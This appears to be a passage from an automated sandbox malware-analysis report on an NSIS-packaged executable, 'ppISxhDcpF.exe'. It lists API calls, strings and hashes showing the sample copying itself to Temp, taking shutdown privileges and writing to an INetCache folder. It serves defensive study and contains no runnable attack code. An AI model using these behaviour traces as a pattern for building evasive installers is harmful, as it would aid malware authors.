lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\ppISxhDcpF.exe",00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(C:\Users\user\Desktop\ppISxhDcpF.exe,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(?,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

.tmp, xrefs: 0040363F
C:\Users\user\Desktop, xrefs: 0040364A, 0040364F, 0040367C
SeShutdownPrivilege, xrefs: 0040374D
\Temp, xrefs: 004034DC
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 004034A8, 004035C8, 00403673, 0040367D
NSIS Error, xrefs: 00403341
C:\Users\user\AppData\Local\Temp\, xrefs: 004034BA, 004034BF, 004034D5, 004034E1, 004034F0, 004034FD, 00403509, 00403511, 00403628, 00403639, 00403644, 00403650, 0040365D, 0040366C, 0040371D
"C:\Users\user\Desktop\ppISxhDcpF.exe", xrefs: 00403356, 0040335C, 00403553
UXTHEME, xrefs: 004032E7
Low, xrefs: 004034F8
TMP, xrefs: 00403512
Error launching installer, xrefs: 004035AD
C:\Users\user\Desktop\ppISxhDcpF.exe, xrefs: 004036D6
USERENV, xrefs: 004032F1
~nsu, xrefs: 00403623
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor, xrefs: 004035D3
SETUPAPI, xrefs: 004032FB
TEMP, xrefs: 0040350A
1033, xrefs: 00403526

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\ppISxhDcpF.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ppISxhDcpF.exe$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-634594066
Opcode ID: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: 3682aa0965639021e03f4566d3ad19ba72e47f3fbc4049e085dd8c08cc589649
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(?,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,?,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,?), ref: 00404D61
SetWindowLongW.USER32(?,?,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,?), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

N, xrefs: 00404DBB
M, xrefs: 00404CDA
, xrefs: 004050E9

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 37c0d117f69d9981bf9ee6a996e8bb1311bbffd6fee652051518e89c5349b062
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403C7D
ShowWindow.USER32(?), ref: 00403C9A
DestroyWindow.USER32 ref: 00403CAE
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403CCA
GetDlgItem.USER32(?,?), ref: 00403CEB
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,?,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 3899400ff8e588ca518489e250fd262a6eccf12b27110187e4fcf668c4fe1b6b
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 10001B18 Relevance: 20.0, APIs: 13, Instructions: 544stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 1000121B: GlobalAlloc.KERNEL32(?,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225

GlobalAlloc.KERNELBASE(?,00001CA4), ref: 10001C24
lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
GlobalFree.KERNEL32(00000000), ref: 10001C89
GlobalFree.KERNEL32(?), ref: 10001D83
GlobalFree.KERNEL32(?), ref: 10001D88
GlobalFree.KERNEL32(?), ref: 10001D8D
GlobalFree.KERNEL32(00000000), ref: 10001F38
lstrcpyW.KERNEL32(?,?), ref: 1000209C

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
Opcode Fuzzy Hash: e30de6db6a834bf10e5b97208fc3b89c024e60f2dd318f1058e55d56930b3bd8
Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040613A
GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(Call,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,Call), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(Call,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,0041D820), ref: 0040629E

Strings

Call, xrefs: 004060A1, 00406181, 004061A2, 004061B7, 004061CA, 004061E6, 00406211, 00406243, 00406249, 00406263, 00406277, 00406297, 0040629D, 004062A9, 004062DC
\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-1230650788
Opcode ID: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: 815d4a1d12106e293d3587ab000579fb05f8572ec1ae3e21e1ffc4f2e4f9e7d3
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1
C:\Users\user\AppData\Local\Temp\, xrefs: 00405853
"C:\Users\user\Desktop\ppISxhDcpF.exe", xrefs: 0040584F

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\ppISxhDcpF.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-2702810459
Opcode ID: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 93e21722a180473d247efaee9d9481d6b8afddc4eaefe0f7bae919d4fb0dd793
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 00402095 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(004085A8,?,00000001,00408598,?,?,00000045,000000CD,00000002,000000DF,?), ref: 00402114

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor, xrefs: 00402154

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor
API String ID: 542301482-1427884202
Opcode ID: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction ID: 1a24425b30559046e2e45c95ea19553466384e890d2313978d3609d0df4c75fa
Opcode Fuzzy Hash: 146cf55ee0b1f2e236d84f42d428f2d21f191b8343958f8e7f458ea2ed3a719d
Instruction Fuzzy Hash: 3E412C71A00208AFCF00DFA4CD88AAD7BB5FF48314B24457AF515EB2D1DBB99A41CB54

Function 00406398 Relevance: 3.0, APIs: 2, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,004302B8,0042FA70,00405B5A,0042FA70,0042FA70,00000000,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004063A3
FindClose.KERNEL32(00000000), ref: 004063AF

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction ID: 3b49439eae3a82ac9864466e1d27f896d1b9bc200308884f11696e1f8cd425af
Opcode Fuzzy Hash: 26ecc7b94827cd81dbcd23612912991a36a9a8e6a086a5859bf6985d6c65a255
Instruction Fuzzy Hash: 3AD012755081209BC28117386E0C84B7A5C9F193317115B36FE6BF22E0CB388C6786DC

Function 004027FB Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040280A

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction ID: 801a3ec73fa0f8c7b921e95059ce856047ace0635644dd2743fa1cdad283ab42
Opcode Fuzzy Hash: e4085221f00f99ea28b48dcf57fb83f2b364f19060254b57e6142408856da5b4
Instruction Fuzzy Hash: C5F08C71A005149BCB01EFA4DE49AAEB378FF04324F2045BBF105F31E1E7B89A409B29

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetUserDefaultUILanguage.KERNELBASE(00000002,75573420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 004038B8

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

lstrcatW.KERNEL32(1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420,C:\Users\user\AppData\Local\Temp\,00000000,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 0040391F
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,75573420), ref: 0040399F
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving,1033,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(Call), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving), ref: 00403A06
RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(?,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(?,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving, xrefs: 0040392E, 00403936, 004039D9, 004039DF, 004039EF
RichEd32, xrefs: 00403ADA
C:\Users\user\AppData\Local\Temp\, xrefs: 004038A3
"C:\Users\user\Desktop\ppISxhDcpF.exe", xrefs: 004038A1
RichEdit, xrefs: 00403AF9
Call, xrefs: 00403966, 0040396F, 0040397D, 004039CC, 004039D2
.DEFAULT\Control Panel\International, xrefs: 0040390A
_Nb, xrefs: 00403A22, 00403A8A
RichEdit20W, xrefs: 00403AEA, 00403AF0
RichEd20, xrefs: 00403ACC
.exe, xrefs: 004039AC
1033, xrefs: 004038BE, 0040391A

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDefaultDialogFileHandleImageLanguageLoadModuleParamParametersProcShowSystemUserlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\ppISxhDcpF.exe"$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 606308-2621852434
